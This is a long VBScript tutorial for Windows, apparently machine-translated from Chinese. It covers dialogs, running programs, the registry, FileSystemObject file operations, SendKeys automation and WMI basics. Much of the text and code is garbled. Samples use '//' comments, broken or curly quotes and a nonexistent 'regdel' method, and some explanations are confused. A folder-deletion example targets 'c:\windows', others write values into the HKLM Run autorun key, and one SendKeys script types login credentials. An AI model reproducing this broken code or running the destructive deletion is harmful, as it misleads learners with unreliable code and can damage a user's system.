Vbs script classic textbook (MSDN is the most complete material)

Time:2022-1-16

– why use VBS?

In windows, learning computer operation may be very simple, but many computer work is repetitive work. For example, you may need to copy, paste, rename and delete some computer files every week. Maybe the first thing you start the computer every day is to open word and switch to your favorite input method for text editing, At the same time, you should play beautiful music to create a comfortable environment for your work. Of course, it is also possible that you often need to sort out some data in the text and arrange all kinds of data according to some rules. These things are repetitive and trivial, which makes people tired easily.

Third party software may be able to strengthen some functions of the computer, but solving these repetitive tasks is twice the effort of the past. I have also tried to write programs in computer language to solve these problems, but the following commands, syntax, algorithms, system framework and class libraries often make me feel whether it is necessary. Is it because it is difficult to pull out pig hair, So I’m going to learn machinery and design a pig plucker for myself Are you?

VBS is a Windows Script. Its full name is Microsoft Visual Basic script editor (visual basic script version of Microsoft), VBS is an abstract subset of Visual Basic. It is built-in in the system. The script code written with VBS cannot be compiled into binary files and is directly executed by Windows system (actually, it is an interpreted source code called host and executed). It is efficient and easy to learn, but it basically has the ability of most high-level languages, It can automate all kinds of tasks, free you from repetitive and trivial work, and greatly improve work efficiency.

Personally, I think vbs script is actually a kind of computerprograming languageHowever, due to the lack of some elements in the computer programming language and the weak ability to describe events, it is called script. Its most convenient place is to provide simple support for COM objects. So what is a COM object?

As I understand it this way, COM objects are program modules with specific function items. They generally take OCX or DLL as the extension. As long as you find the module file containing the functions you need and reference it in the script, you can realize the specific functions. That is to say, vbs script is to call the ready-made “control” as the object, Using the attributes and methods of objects to achieve the purpose completely eliminates the trouble of writing code, designing algorithms and so on. To put it bluntly, don’t I think it’s troublesome to pluck pig hair? I found that XX machine (such as vacuum centrifuge) has a function to realize depilation. OK, I used it to depilate pigs. what? put fine timber to petty use? What a waste of resources? God, that’s about computer chips. Dead friends don’t die. Anyway, my business is solved conveniently and quickly. That’s all.

The most convenient thing is that it doesn’t even need a special development environment. In your computer, as long as there is Notepad, you can write VBS scripts and execute them directly.

Vbs script programming concise tutorial II

How do I start the first vbs script?

Like most computer tutorials, we start with “Hello world!” The program starts our practice. what? I don’t know what that means? In other words, most computer programming tutorials start with writing a small program. The result of executing this program is to display a line of text on the computer screen or DOS window: Hello world! All right, let’s start.

Open your “NOTEPAD” program and fill in the following in the editing window:

?
1
msgbox "Hello World!"

Then click the “file” menu, click “save”, set the “save in” column as the desktop, and fill in KK in the “file name” column VBS, click save. Then minimize the “NOTEPAD” window and look for the KK you just saved on the desktop VBS, and then double-click. See the pop-up dialog box? Click OK and the dialog box disappears. It’s a little ugly, but it’s really the first script you wrote.

Note 1: in the above operation, the save location is placed on the desktop just for convenience. You have no problem saving to other places. As long as you know where you save it, what? It’s nonsense. I saved it myself. Of course I know where it is. No, I’ve seen a lot of people who can’t find their own files. You can fill in the file name at will. You don’t have to write KK. As long as it complies with the file naming rules of windows, but the extension must be VBS. What? Don’t know what an extension is? Is the “.” in the file name The latter part, in short, is that the vbs script file must be named XXX VBS, where XXX is free.

Note 2: what is the meaning of this line written in the Notepad editing window?

Msgbox is a built-in function in VBS. Each function can complete certain functions. You only need to fill in the corresponding content in the corresponding part of the function according to the syntax requirements. This part is called parameters. Of course, the result of function execution is called return value. A function can have return value or no, parameters or no. You don’t have to know how a function works, just what the function does.

Msgbox syntax: msgbox “dialog content”, “dialog title”

You might as well open the file just now with notepad and enter in the edit window:

msgbox “Hello World!” , “System prompt”

Execute it and see the effect and position.

Note 3: if the execution fails, look at your punctuation. All punctuation must be entered in English. Of course, the script is so simple that it doesn’t even have the simplest interaction, so you can modify the script as follows:

?
1
2
3
Dim name
name=Inputbox(Please enter your first name:,"Name")
Msgbox name, , "Your name is"

Save and execute. See the pop-up dialog box? Fill in your name and click OK. Do you see the result?

Note 1: the first sentence is to define variables, and dim is to define variables

The format is: dim variable 1, variable 2,

VBS has only one variable type, so there is no need to declare variable types. The system will automatically distinguish the variable type.

Note 2: InputBox is a VBS built-in function that can accept input content. Its syntax format is:

InputBox (“dialog content”, “dialog title”)

The second sentence means to accept the user’s input and pass the input result to the variable name.

Well, the basic input and output functions of this script are available. You can complete some relatively simple functions. You can write a simple script, copy it to “program” > “start”, and then restart the computer to see the results

The third concise course of vbs script programming

Basic syntax of VBS (remember)

VBScript Basics

1、 Variable

1. All single quotes are interpreted as comments.

2. In VBScript, the naming rules of variables follow the standard naming rules. It should be noted that the references to variables, methods, functions and objects in VBScript are case insensitive. When declaring a variable, to explicitly declare a variable, you need to use the keyword dim to tell VBScript that you want to create a variable, followed by the variable name. Declare multiple variables of the same type, which can be separated by commas. Note: it is not allowed to assign values to variables when declaring variables in VBScript. However, it is allowed to assign two variables simultaneously in one line of code, separated by colons.

3. You can use option explicit to tell the host that variables must be declared before use.

4. VBScript has only one variable type when it is defined. In actual use, type conversion functions need to be used to convert variables into corresponding variable types.

CBool function converts variables into Boolean values;

The cbyte function converts a variable to an integer between 0 and 255.

Ccur function, cdbl function and CSng function convert variables into floating-point values. The former is only accurate to four digits after the decimal point, the latter two are more accurate, and the range of values is much larger.

The CDate function converts a variable to a date value.

Cint function and CLng function convert variables to integers, and the range of the latter is much larger than the former.

The CSTR function converts a variable to a string.

2、 Array

The definition of an array is very similar to that of a variable. You only need to describe the number and dimension of the array after the variable. It should be noted that the subscript of the array always starts from 0 and ends with the value minus one in the array definition. In other words, if you want to define an array with ten data, you will write the code as follows: dimarray (9). Similarly, when you want to access the fifth element, the actual code is array (4). Of course, you can declare a dynamic array by not specifying the number and dimension of the array. When the number and dimension of the array are fixed, use the keyword ReDim to change the array. Note that when changing the size of the array, the data of the array will be destroyed. Use the keyword preserve to protect the data. For example:

ReDim space preserve space array number of parentheses comma dimension parentheses

3、 Operator

In VBScript operators, addition, subtraction, multiplication and division are commonly used symbols. The power uses ^, and the modulus uses mod.

In comparison operators, equal to, less than, greater than, less than or equal to, and greater than or equal to are consistent with our commonly used symbols, rather than less than and greater than.

The logical operators are: sum operation – > and , non operation – > not , or operation – > or;

You can use the + operator and the & operator to connect strings, usually the & operator;

In addition, there is a special operator is used to compare objects, such as button objects. If the objects are of the same type, the result is true. If the objects are not of the same type, the result is false.

4、 Conditional statements mainly include if… Then statements and select case statements

In the if… Then statement, its basic form is:

If , then

Statements dealing with conditions;

……

Endif

The basic form can only verify a single condition. If there are two conditions, you need to add a single line statement else in the basic form. If there are more conditions to verify, you need to add a statement

Else if condition {then

Processing conditional statements

In the select case statement, its basic form is:

Select case variable

Case {condition value

Processing conditional statements

And repeat the above two sentences

The last sentence should read

case  else

Processing statement

Of course, don’t forget to put the conditional end statement end select on the last line

Note: when performing string comparison, special attention should be paid to case. Generally, before comparison, we use lcase function to convert the string to lowercase and ucase function to convert the string to uppercase.

5、 Loop control statement

There are five forms of loop control statements: for… Next loop, for… Each loop, do… While loop, do… Until loop and while loop.

Before using the loop control statement, first judge the loop conditions. If the number of loops is fixed, use the for… Next loop. Its structure is as follows:

For  counter variable = start count value  to  last count value

Execution loop body

Next

If you need to judge each element in the array or object collection, you need to use the for… Each loop. Its structure is:

For # each # loop count variable # in # object or array to view

Execute processing statements

Next

Note: in the above two loops, you can use exit for to exit the loop at any time

If you want to execute a piece of code when the conditions are met, use the do… While statement. The structure is:

Do while condition

Execution loop body

Loop

If you want to execute the code when the conditions are not met, use the do… Until statement. The structure is:

Do until condition

Execution loop body

Loop

Of course, in these two loop statements, you can use exit , do to exit the loop

The last kind of loop statement is to always execute the loop when the conditions are met,

While condition

Execution loop body

Wend

6、 Use process

There are two commonly used processes, one is a function that returns a value to the caller, the other is a subroutine that has no return value, and the other is a special subroutine called event, which is rarely used.

The basic definition method of function is:

Function name (parameter list)

function code

Function name = a value ‘is used to return a value

end  function

Some subroutines are similar, but there is no return value

Note: Although the parameter list should be bracketed when defining the subroutine, the parameter list is not bracketed when calling the subroutine, and the brackets are only used in the function. In addition, subroutines cannot be used in expressions.

The function can only appear on the right side of the assignment statement or in the expression. The function cannot be used directly. If the function must be used directly, the call statement must be used to call and cancel the return value.

The fourth concise course of vbs script programming

How to run external programs with VBS?

VBS only provides a basic framework for programming. Users can use VBS to define variables, procedures and functions. VBS also provides some internal functions and objects. However, VBS does not provide any commands to access the internal components of the windows system. Fortunately, although VBS cannot complete these tasks by itself, it provides a very convenient It is also a powerful command – CreateObject. This command can access all COM objects installed in the windows system and call the commands stored in these parts.

So the problem is solved. For example, I have 1000 small texts on hand. I first check and modify the syntax of each text, then sort these texts according to the predefined rules, and finally merge these texts into a file. Normally, we need to open the first small text, copy it into word, debug and modify it by using the debugging function, and then import it into Excel for sorting. Repeat this process 1000 times, and then copy all the obtained text into a large text. It’s too boring and too much work. With VBS and CreateObject, the problem is solved. I just need to find the corresponding module and call the corresponding function. As a script, I repeat a boring process 1000 times, which is its specialty.

Well, let’s get to the point and start with the simplest – just start one program.

WSH is the host used to resolve VBS. It contains several common objects:

1、Scripting. FileSystemObject – > provides a complete set of file system operation functions

2、Scripting. Dictionary – > used to return the dictionary object storing key value pairs

3、Wscript. Shell – > provides a set of functions to read system information, such as reading and writing the registry, finding the path of the specified file, reading DOS environment variables, and reading the settings in the link

4、Wscript. Network – > provides functions for network connection and remote printer management. (all scripting objects are stored in the scrun.dll file, and all Wscript objects are stored in the wshom.ocx file.)

Now we need the third object. OK, let’s connect the object first and enter it in the edit window of Notepad:

Option Explicit
Dim objShell
Set objShell = CreateObject(“Wscript.Shell”)
objShell.Run “notepad”

Similarly, save execution. So what kind of result did you see? Another Notepad opened on the desktop.

Note 1: set is a VBS instruction. For assigning an object reference to a variable, you need to use the set keyword. So what is an object reference? All variables other than strings, numeric values and Boolean values are object references. Objshell is a variable name that can be modified at will.

Note 2: all correctly referenced objects have built-in functions and variables, and the reference method is to add “.” after the variable, Then follow the function that implements the function. Objshell. Run means calling Wscript The function in the shell that runs the external program – run, Notepad is the file name of the Notepad program. Of course, you can also change it to “Calc”, which is the file name of the calculator, winword is the file name of word, and so on. The file names of all executable files are OK. However, it should be noted that if the executable file you want to execute is not stored in the common path of program installation, generally, you need to provide a legal path name, but run will stop when it encounters spaces when running parsing. The solution is to use double quotation marks, such as running QQ on my machine. The code is:

objshell.run “””C:\Program Files\QQ2006\QQ. Exe “” “” ‘note: three quotation marks

OK, let’s go one step further. What if we start two programs?

Enter the following code:

?
1
2
3
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "notepad"
objShell.Run "calc"

What about execution? The two programs are basically started at the same time. What if we need to start Notepad first and then start Calc? It is very simple to add the true parameter after the code that needs to be executed sequentially.

OK, enter the code:

?
1
2
3
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "notepad" ,,true
objShell.Run "calc"

Let’s see the results of the implementation!

Summary: the run function has three parameters. The first parameter is the path of the program you want to execute, the second program is in the form of a window, and 0 is running in the background; 1 indicates normal operation; 2 indicates that the program is activated and displayed as minimized; 3 indicates that the program is activated and displayed as maximized; There are 10 such parameters in total, and I only list the four most commonly used. The third parameter indicates whether the script will wait or continue to execute. If it is set to true, the script will wait for the called program to exit and then execute backward.

In fact, as a function, run is preceded by a variable that accepts the return value. Generally speaking, if the return value is 0, it indicates successful execution. If it is not 0, the return value is an error code. You can find the corresponding error through this code.

Vbs script programming concise tutorial 5

error handling

There are many reasons for errors. For example, the user enters the value of the error type, or the script cannot find the necessary file, directory or drive. We can use the loop technology to deal with errors, but VBS itself also provides some basic technologies to detect and deal with errors.

1. The most common error is a runtime error, that is, the error occurs when the script is running. It is the result of an illegal operation attempted by the script. For example, zero is used as a divisor. In VBS, any runtime error is fatal. At this time, the script will stop running and an error message will be displayed on the screen. You can add at the beginning of the script

On  Error Resume  Next 

This line tells VBS to skip the statement with error at run time and then execute the statement following it.

When an error occurs, the statement will push the relevant error number, error description and relevant source code into the error stack.

2. Although the on error resume next statement can prevent the vbs script from stopping when an error occurs, it can not really handle the error. To handle the error, you need to add some statements in the script to check the error condition and handle it when the error occurs.

VBScript provides an err object. It has two methods, clear and raise, and five attributes: description, HelpContext, helpfile, number and source

Err objects can be used directly without reference to instances, for example:

?
1
2
3
4
5
6
7
on error resume next
a=11
b=0
c=a/b
if err.number<>0 then
wscript.echo err.number & err.description & err.source
end if

Vbs script programming concise tutorial 6

Modify registry

The statements to modify the registry in VBS mainly include:

1. Read keywords and values in the registry:

You can pass the full path of the keyword to the regread method of the WSH shell object. For example:

?
1
2
3
set ws=wscript.createobject("wscript.shell")
v=ws.regread("HKLM\Software\7-Zip\Path ")
wscript.echo v

2. Write registry

Use the regwrite method of the WSH shell object. example:

?
1
2
3
path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\"
set ws=wscript.createobject("wscript.shell")
t=ws.regwrite(path & "jj","hello")

That’s it

HKEY_ LOCAL_ Machine \ software \ Microsoft \ windows \ CurrentVersion \ run \ JJ the key value is changed to hello Note, however, that this key must be pre-existing.

If you want to create a new keyword, use the same method.

?
1
2
3
4
5
path="HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\run\sssa2000\love\"
set ws=wscript.createobject("wscript.shell")
val=ws.regwrite(path,"nenboy")
val=ws.regread(path)
wscript.echo val

3. Delete keywords and values

Use the regdelete method to pass the complete path to regdelete

for example

val=ws.regdel(path)

Note that if you want to delete the value of the keyword, you must add “\” at the end of the path. If you don’t add a slash, the whole keyword will be deleted.

The seventh concise course of vbs script programming

Common objects and methods of FSO

File system is one of the most important parts of all operating systems. Scripts often need to access and manage files and folders. The top-level object for accessing desktop and file system in VBS is filesystembobject (FSO). This object is particularly complex and is the core of file operation in VBS. This section should be well understood.

Common objects included in FSO are:

Drive object: contains the information of storage devices, including hard disk, optical drive, RAM disk and network drive
Drives collection: provides a list of physical and logical drives
File} objects: checking and processing files
Files collection: provides a list of files in a folder
Folder object: checking and processing folders
Folders collection: provides a list of subfolders in a folder
TextStream object: reading and writing text files

Common methods of FSO are:

Bulidpath: add the file path information to the existing file path
Copyfile: copying files
CopyFolder: copy folders
Createfolder: creates a folder
Createtextfile: creates text and returns a TextStream object
Deletefile: deletes a file
Deletefolder: deletes a folder and all its contents
Driveexits: determines if the drive exists
Fileexits: determines whether a file exists
Folderexists: determines whether a folder exists
Getabsolutepathname: returns the absolute path of a folder or file
Getbasename: returns the basic path of a file or folder
Getdrive: returns a dreve object
Getdrivename: returns the name of a drive
Getextensionname: returns the extension
GetFile: returns a file object
Getfilename: returns the name of the file in the folder
Getfolder: returns a folder object
Getparentfoldername: returns the parent folder of a folder
Getspecialfolder: returns an object pointer to a special folder
Gettempname: returns the name of a randomly generated file or folder that can be used by createtextfile
MoveFile: move files
Movefolder: move folders
Opentextfile: open an existing file and return a TextStream object
Vbs script programming concise tutorial 8

Basic operations of folders in FSO

1. Using FSO

Since FSO is not part of WSH, we need to build its model

For example, set FS = Wscript createobject(“scripting.filesystemobject”)

In this way, the model of FSO is established. If you want to release, it is also very simple. Set FS = nothing

2. Use folder

Before creating, we generally need to check whether the folder exists. For example:

?
1
2
3
4
5
6
7
8
Dim FS, S // define two variables: FS and s
set fs=wscript.createobject("scripting.filesystemobject")// Fs is an FSO instance
if (fs.folderexists("c:\temp"))Then // judge whether the C: \ temp folder exists
s="is available"
else
s="not exist"
set foldr=fs.createfolder("c:\temp")// create if it does not exist
end if

Delete:
set fs=wscript.createobject(“scripting.filesystemobject”)
fs.deletefolder(“c:\windows”)
 
Copy: set FS = Wscript createobject(“scripting.filesystemobject”)
fs.copyfolder “c:\data” “d:\data”
Note: if both C: \ data and D: \ data exist, the script will make an error and the replication will stop. If you want to force overwrite, use FS copyfolder “c:\data” “d:\data”,true
 
Move:
set fs=wscript.createobject(“scripting.filesystemobject”)
fs.movefolder “c:\data” “d:\data”
 
We can use wildcards to facilitate operation:

For example, FS movefolder :c:\data\te*” , “d:\working”

Note: the “\” is not used at the end of the destination path, that is to say, I did not write this:

fs.movefolder c:\data\te*” , “d:\working\”

In this way, if the D: \ working directory does not exist, windows will not automatically create this directory for us.

Note: the above examples are all using the methods provided by FSO. It is also possible to use the folder object:

set fs= wscript.createobject(“scripting.filesystemobject”)
set f=fs.getfolder(“c:\data”)
f. Delete / / delete the folder C: \ data. If there are subdirectories, they will also be deleted
f. Copy “D: \ working”, true / / copy to D: \ working
f. Move “D: \ temp” / / move to D: \ temp

3. Special folder

Generally, it refers to the system folder: \ windows \ system32, temporary folder and windows folder. In the previous articles, we mentioned: for example

?
1
2
3
4
5
set fs=wscript.createobject("scripting.filesystemobject")
set wshshell=wscript.createobject("wscript.shell")
osdir=wshshell.expandenvironmentstrings("%systemroot%")
set f =fs.getfolder(osdir)
wscript.echo f

Of course, there is an easy way to do this, which is to use getspecialfolder ()

This method uses three values:

0 ¢ indicates windows folder, and the related constant is windows folder

1. System folder. The related constant is systemfolder

2. Temporary directory, related constant temporaryfolder

For example:

set fs=wscript.createobject(“scripting.filesystemobject”)
set wfolder=fs. Getspecialfolder (0) ‘return to windows directory
set wfolder=fs. Getspecialfolder (1) ‘return system32\
set wfolder=fs. Getspecialfolder (2) ‘return temporary directory

Vbs script programming concise tutorial 9-1

Use sendkeys to simplify repetitive operations 1

Do you want to log in to your QQ or blog automatically every time you start? Skillfully use the sendkeys command in VBS (the function of this command is to simulate keyboard operation and send one or more key instructions to the specified windows window to control the operation of the application), which can greatly facilitate our common operations. Its format is:

Object. Sendkeys string where:

Object: is a WSHShell object, that is, the first behavior of the script:

Set WshShell=WScript.CreateObject(“WScript.Shell”) 

Replace object with WSHShell

“String”: indicates the key command string to be sent, which needs to be placed in English double quotes. It includes the following:

1. Basic key: Generally speaking, the key commands to be sent can be directly represented by the key character itself. For example, to send the letter “X”, use “WSHShell. Sendkeys” X “. Of course, you can also send multiple key commands directly. You only need to arrange the key characters together in order. For example, to send the key “cfan”, you can use

“WshShell.SendKeys “cfan””。

2. Special function keys: for keys that need to be combined with shift, Ctrl and alt, sendkeys uses special characters to represent: shift – +; Ctrl   ——   ^; Alt   ——   %

If the combination key to be sent is to press Ctrl + e at the same time, it needs to be represented by “WSHShell. Sendkeys” ^ e “. If the combination key to be sent is to press E and C while pressing Ctrl, the letter keys should be enclosed in parentheses, and the writing format is” WSHShell. Sendkeys “^ (EC)”. Note the difference between it and “WSHShell. Sendkeys” ^ EC “, The latter means that the key combination is to press and hold Ctrl and e at the same time, then release Ctrl and press the “C” letter key alone.

Since “+” and “^” are used to represent special control keys, how to represent these keys? Just enclose these characters in curly braces. For example, to send a plus sign “+”, use “WSHShell. Sendkeys” {+} “.”. In addition, some control function keys that will not generate characters also need to use braces to enclose the name of the key. For example, to send the Enter key, it needs to be represented by “WSHShell. Sendkeys” {enter} “. To send the down direction key, it needs to be represented by

“WSHShell. Sendkeys” {down} “means.

If you need to send multiple repeated single letter keys, you do not need to input the letter repeatedly. Sendkeys allows you to use a simplified format for description, with the format of “{key number}”. For example, to send 10 letters “X”, enter “WSHShell. Sendkeys” {x 10} “.

Example 1: WSHShell SendKeys “^{ESC}u”

The meaning of the code is: press Ctrl + ESC (equivalent to pressing win) to open the “start” menu, and then press u to open the “shutdown” menu.

Example 2: let vbs script automatically enter a line of text “Hello, welcome to cfan” in Notepad.

Dim WshShell
Set WshShell=WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 2000  
//The meaning of this line is to pause the script for 2 seconds and give Notepad a time to open. Sometimes the time is too short, which may prevent the following characters from entering the editing area
WshShell. Appactivate “Untitled – Notepad
“/ / appactivate is to find the title box of the executable program,” Untitled NOTEPAD “content. Open it yourself and have a look
WshShell.SendKeys “hello, welcome to cfan”
Assignment 1: let the script automatically input the following two short sentences
This is the most wonderful day of my life
because I’m here with you now

Task 2: let the script automatically close Notepad after entering short sentences and save the file name as “test”. Note that closing Notepad can be directly realized by pressing Alt + F4.

Vbs script programming concise tutorial 9-2

Use sendkeys to simplify repetitive operations 2

Example 3: make a notepad that can save automatically and regularly

Our most commonly used Notepad does not have the automatic timing saving function like word and WPS. In fact, we can make up for this regret by using vbs script and sendkeys command. Open notepad and enter the following (the code is divided into four parts for easy description and analysis):

‘part I: defining variables and objects
Dim WshShell, AutoSaveTime, TXTFileName
AutoSaveTime=300000
Set WshShell=WScript.CreateObject(“WScript.Shell”)
Txtfilename = InputBox (“please enter the file name you want to create (Chinese and pure numbers are not allowed):”)
‘Part 2: open and activate Notepad
WshShell.Run “notepad”
WScript.Sleep 200
WshShell. Appactivate “Untitled – NOTEPAD”
‘Part 3: save with the entered file name
WshShell.SendKeys “^s”
WScript.Sleep 300
WshShell.SendKeys TXTFileName
WScript.Sleep 300
WshShell.SendKeys “%s”
WScript.Sleep AutoSaveTime
‘Part 4: automatic timing save
While WshShell.AppActivate (TXTFileName)=True
WshShell.SendKeys “^s”
WScript.Sleep AutoSaveTime
Wend
WScript.Quit

Save it as Notepad VBS, when you want to use Notepad in the future, you can open it by double clicking this script file.

Program description: the basic idea of this script is to regularly send Ctrl + s to Notepad.

Part I: defines the variables and objects needed in the script. The “autosavetime” variable is used to set the auto save interval, in milliseconds. Here, it is set to 5 minutes. The “txtfilename” variable obtains the name of the text file you want to create through the input box.

Part II: run Notepad. For programs provided by windows itself, such as calculators, you can directly enter the program name after “WSHShell. Run”, such as “Calc”. For non system programs, you can enter the full path, but pay attention to using 8.3 format, such as “D: \ progra ~ 1 \ Tencent \ QQ exe””。

Part III: here, the sendkeys command is used to execute such an operation process (please note the delay command between each operation): press Ctrl + s in Notepad → pop up the window to save the file → enter the file name → press Alt + s to save (it is saved in the “My Documents” directory by default).

Part IV: the key of timing storage, through the “while… Wend” circular command when the condition is “true”, the repeated execution of the auto save code “wsshell. Sendkeys” ^ s “and the timing code” Wscript. Sleep autosavetime “is realized. Because this timed save cycle cannot be executed all the time. After exiting Notepad, you must automatically exit the script and end the cycle. Therefore, a cycle judgment condition “WSHShell. Appactivate txtfilename = true” is designed. When Notepad is running, you can activate the Notepad window. The running result of this condition is “true”. The timed save cycle is executed all the time. After exiting Notepad, If the script cannot activate the Notepad window, it will jump out of the loop and execute “wsscript. Quit” after “wend” to exit the script.

Example 4: quickly log in to QQ software. Suppose the QQ number is 10001, the password is 123456, stealth login:

?
1
2
3
4
5
6
7
8
9
10
set ws=wscript.createobject("wscript.shell")
 ws.run "C:\Progra~1\Tencent\QQ\QQ.exe",0
 wscript.Sleep 2000
 ws.AppActivate "QQ user login"
 ws.SendKeys "7015247"
 wscript.Sleep 200
 ws.SendKeys "{TAB}"
 ws.SendKeys "*********"
 wscript.Sleep 200
ws.SendKeys "{ENTER}"

Example 5: the shutdown menu appears immediately

Open Notepad, enter the following command, and save it as 1 vbs:

set WshShell = CreateObject(“WScript.Shell”)
WshShell.SendKeys “^{ESC}u”

Double click to run it, and you will find that the shutdown menu appears immediately.

Change “WSHShell. Sendkeys” ^ {ESC}u “to” WSHShell. Sendkeys “^ + {ESC}” and run it to see if the task manager is opened

Vbs script programming concise tutorial 9-3

Use sendkeys to automatically surf the Internet and log in to blog 3

Copy the following script into a text file and name it auto login VBS, and then copy the dialing software and this script into the program startup item, you can automatically dial up the Internet and log in to the blog.

The code is as follows:

?
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Set wshshell=CreateObject("wscript.shell")
wshshell.AppActivate "Connect mae-301u dial up connection"
wscript.Sleep 20000
wshshell.SendKeys "{enter}"
wshshell.Run "iexplore"
WScript.Sleep 2000
wshshell.AppActivate "Hao123 website home" -- practical website, search Daquan, all in http://www.hao123.com/ - Microsoft Internet Explorer" 'change the contents in quotation marks to the contents in the title bar after your browser opens
wshshell.SendKeys "%d"
wshshell.SendKeys "http://passport.baidu.com/?login"
wshshell.SendKeys "{enter}"
WScript.Sleep 2000
wshshell.SendKeys "Modify here as blog account"
wshshell.SendKeys "{tab}"
wshshell.SendKeys "Modify here as blog password"
wshshell.SendKeys "{enter}"
'wshshell.SendKeys "%d"

Of course, the commonly used editor for VBS scripts is Notepad, but the function of this editor is of course too weak. In fact, there are many special script editors that can greatly facilitate the writing of VBS scripts. I often use two types:

1. Vbsedit Chinese version

2. Primalscript Chinese version, which can edit more than 30 scripts

Concise tutorial of vbs script programming

Basic operation of files in FSO

1、 File properties:

In windows, the attributes of files are generally represented by numbers:

0 stands for normal, that is, no attributes are set for ordinary files. 1 stands for read-only file.

2 stands for hidden files. 4 stands for system files. 16 represents a folder or directory.

32 stands for archive. 1024 represents a link or shortcut. For example:

set fs=wscript.createobject(“scripting.filesystemobject”)
set f=fs.getfile(“d:\index.txt”)
Msgbox f.attributes’ the attributes function displays file attributes

It should be noted that the results displayed by msgbox are often not the numbers described above, but the sum of the numbers represented by the relevant attributes

2、 Create file: object The createtextfile method. Note that you generally need to check whether the file exists before creating.

For example:

?
1
2
3
4
5
6
set fso=wscript.createobject("scripting.filesystemobject")
if fso.fileexists("c:\kk.txt") then
msgbox "File already exists"
else
set f=fso.createtextfile("c:\kk.txt")
end if

If the existing file needs to be forcibly overwritten, add the true parameter after the file name.

3、 Copy, move and delete files: use copyfile method, MoveFile method and deletefile method. For example:

?
1
2
3
4
set fso=wscript.createobject("scripting.filesystemobject")
fso.copyfile "c:\kk.txt","d:\1\kk.txt", true // as mentioned above, true stands for forced overwrite
fso.movefile "c:\kk.txt""," D: \ "// move files
fso.deletefile "c:\kk.txt" //Delete file

4、 File reading and writing:

1. Open file: use opentextfile method
For example: set TS = FSO opentextfile(“c:\kk.txt”,1,true)
Note: the second parameter is access mode. 1 is read-only, 2 is write, and 8 is append
The third parameter specifies to create if the file does not exist.
2. Read file: read (x) read x characters; ReadLine read a line; Readallread all
For example: set ffile = FSO opentextfile(“c:\kk.txt”,1,true)
value=ffile.read(20)
line=ffile.readline
contents=ffile.readall

3. Common pointer variables:

Atendofstream property: this property returns true when it is at the end of the file. Generally, loop detection is used to detect whether the end of the file is reached. For example:

do while ffile.atendofstream<>true

ffile.read(10)

loop

Atendoflone attribute: this attribute returns true if it has reached the end of the line.

Column attribute (the column number of the current character position) and line attribute (the current line number of the file): after opening a file, the row and column pointers are set to 1.

4. Skip line in file: skip (x) skip x characters; Skipline skip a line

5. Write character in file: it can be written by 2-write and 8-append

The method includes: write (x) write x string; Writeline (x) writes a line represented by X

Writeblank lines (n) writes n blank lines

Note: finally, the file must be closed by using the close method. After reading the file, it must be closed before it can be opened by writing.

Concise tutorial of vbs script programming

Using the system dialog box

In vbs script design, if you can use the system dialog box provided by windows, you can simplify the difficulty of using the script and make the script humanized. Few people use it, but VBS can not realize such a function. Of course, the method is to use COM objects.

1、SAFRCFileDlg. FileSave object: the attributes are: filename – specify the default file name; Filetype – specifies the file extension; Openfilesavedlg – displays the file save box method.
2、SAFRCFileDlg. FileOpen object: filename – default file name attribute; Openfileopendlg – displays the method of opening the file box.
3、UserAccounts. CommonDialog object: filter – extension attribute (“VBS file| *. Vbs|all files| *. *”);
Filterindex – specify
Initialdir – specifies the default folder
Filename – the specified file name
Flags – type of dialog box
Showopen method:

Very simple, OK, let’s give two simple examples:

Example 1: save file

?
1
2
3
4
5
6
7
8
9
10
Set objDialog = CreateObject("SAFRCFileDlg.FileSave")
Set objFSO = CreateObject("Scripting.FileSystemObject")
objDialog.FileName = "test"
objDialog.FileType = ".txt"
intReturn = objDialog.OpenFileSaveDlg
If intReturn Then
objFSO.CreateTextFile(objDialog.FileName & objdialog.filetype)
Else
Wscript.Quit
End If

Note: 1. Safrcfiledlg FileSave object only provides a user-friendly interface. It does not have the function of saving files. Saving files also needs to be completed by using FSO object. 2. Use the filetype attribute to specify the default file type. 3. When calling the openfilesavedlg method, it is best to save the return value to a variable, which can be used to determine whether the user pressed OK or cancel.

Example 2: Open file

?
1
2
3
4
5
6
7
set objFile = CreateObject("SAFRCFileDlg.FileOpen")
intRet = objFile.OpenFileOpenDlg
if intret then
msgbox "The file was opened successfully! The file name is:" & objFile.filename
else
wscript.quit
end if

Example 3: complex open file dialog box

?
1
2
3
4
5
6
7
8
9
10
Set objDialog = CreateObject("UserAccounts.CommonDialog")
objDialog.Filter = "vbs File|*.vbs"
objDialog.InitialDir = "c:\"
tfile=objDialog.ShowOpen
if tfile then
strLoadFile = objDialog.FileName
msgbox strLoadFile
else
wscript.quit
end if

Note: add objdialog. In the script Flags = & H020 see what happens

Concise tutorial of vbs script programming 13-1

One of the WMI foundations

WMI, namely windows management specification, is a model for users to manage local and remote computers. It can access, configure, manage and monitor almost all windows resources. As like as two peas, WMI’s syntax is very simple. Basically, the namespaces and objects are almost identical. It corresponds to the WMI service (Winmgmt) in windows.

1、 Origin of WMI

A few years ago, due to the lack of standards in the field of system management, several senior computer companies entrusted dmtf to start the CIM (general information model) project. The ideal CIM is a management tool that is not limited to any specific implementation environment. WMI is the Microsoft implementation of CIM. It has many classes derived from CIM.

2、 WMI namespace

So what does a namespace do? Let me simply put it this way. In the same piece of code, if there are two variables or functions with exactly the same name, there will be a conflict. Namespaces serve to resolve the naming conflicts of variables and functions. The solution is to define your variables in a namespace with different names. It’s like the Finance Bureau has Zhang San and the Public Security Bureau has Zhang San, but we know that it’s because they belong to different units. Some places may not be accurate, but that’s the general meaning.

WMI namespace creates a hierarchy, which is a bit similar to our directory file structure.

1. Root – as a placeholder for all other names;
2. Root \ default – classes related to registry operations;
3. Root \ security – classes related to system security;
4. Root \ cimv2 – a class derived from CIM, which represents our most commonly used working environment.

3、 WMI object path

The WMI object path is used to locate the class and its case in the CIM library. The object path starts with two backslashes \ \. The first element is the name of the target computer, the second element is the corresponding WMI namespace, and the third element is the corresponding class name, which is separated from the naming space by. For example: \ \ \root\cimv2:win32_ service

One of them Represents the local system.

4、 WMI query language – WQL is only a subset of ANSI SQL and can only be used for data extraction.

The basic syntax of data and event query is:

Select pro1 , pro2 , pro3  from myclass(myclassevent)

For example: select name, path from Win32_ Share} Description: lists the names and paths of all shares

